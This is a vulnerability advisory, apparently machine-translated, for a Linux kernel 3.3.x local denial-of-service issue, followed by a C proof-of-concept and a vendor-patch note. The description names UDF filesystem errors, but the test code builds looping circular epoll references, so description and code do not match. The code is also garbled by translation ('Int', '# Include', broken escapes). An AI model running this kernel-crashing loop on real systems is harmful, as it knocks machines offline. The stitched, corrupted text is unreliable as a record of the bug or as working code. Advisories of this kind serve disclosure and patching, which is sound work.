Release date:
Updated on:
Affected Systems:
Linux kernel 3.3.x
Description:
--------------------------------------------------------------------------------
Bugtraq id: 54279
Linux Kernel is the Kernel of the Linux operating system.
Linux Kernel has two implementation errors, which can be exploited to cause high CPU consumption and local dos.
1) An error occurred while loading the backup table. A crash may occur when a special file system is loaded.
2) when processing a partition table, an error exists in the "udf_load_logicalvol ()" function (fs/udf/super. c). A crash may occur when a specially crafted file system is loaded.
<* Source: Timo Warns (<warns@pre-sense.de>)
Jan Kara
Link: http://secunia.com/advisories/49742/
*>
Test method:
--------------------------------------------------------------------------------
Alert
The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Yurij M. Plotnikov () provides the following test methods:
# Include <netinet/in. h>
# Include <sys/epoll. h>
# Include <errno. h>
Int
Main ()
{
Struct sockaddr_in addr;
Struct epoll_event event;
Int epfd1, epfd2, sock;
Int rc;
Int I = 0;
While (1)
{
Printf ("ITERATION % d \ n", ++ I );
Epfd1 = epoll_create (1 );
Printf ("epoll_create ()-> % d (% d) \ n", epfd1, errno );
Epfd2 = epoll_create (1 );
Printf ("epoll_create ()-> % d (% d) \ n", epfd2, errno );
Sock = socket (PF_INET, SOCK_STREAM, 0 );
Printf ("socket ()-> % d (% d) \ n", sock, errno );
Addr. sin_family = AF_INET;
Addr. sin_port = 0;
Addr. sin_addr.s_addr = 0;
Rc = bind (sock, (struct sockaddr *) & addr, sizeof (addr ));
Printf ("bind ()-> % d (% d) \ n", rc, errno );
Rc = listen (sock, 1 );
Printf ("listen ()-> % d (% d) \ n", rc, errno );
Event. data. fd = sock;
Event. events = 0;
Rc = epoll_ctl (epfd1, EPOLL_CTL_ADD, sock, & event );
Printf ("epoll_ctl ()-> % d (% d) \ n", rc, errno );
Event. data. fd = epfd2;
Event. events = EPOLLIN;
Rc = epoll_ctl (epfd1, EPOLL_CTL_ADD, epfd2, & event );
Printf ("epoll_ctl ()-> % d (% d) \ n", rc, errno );
Event. data. fd = epfd1;
Event. events = EPOLLIN;
Rc = epoll_ctl (epfd2, EPOLL_CTL_ADD, epfd1, & event );
Printf ("epoll_ctl ()-> % d (% d) \ n", rc, errno );
Rc = close (epfd1 );
Printf ("close (epfd1)-> % d (% d) \ n", rc, errno );
Rc = close (epfd2 );
Printf ("close (epfd2)-> % d (% d) \ n", rc, errno );
Rc = close (sock );
Printf ("close (sock)-> % d (% d) \ n", rc, errno );
Sleep (1 );
Printf ("\ n ");
}
Return 0;
}
Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
Linux
-----
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:
Http://www.kernel.org/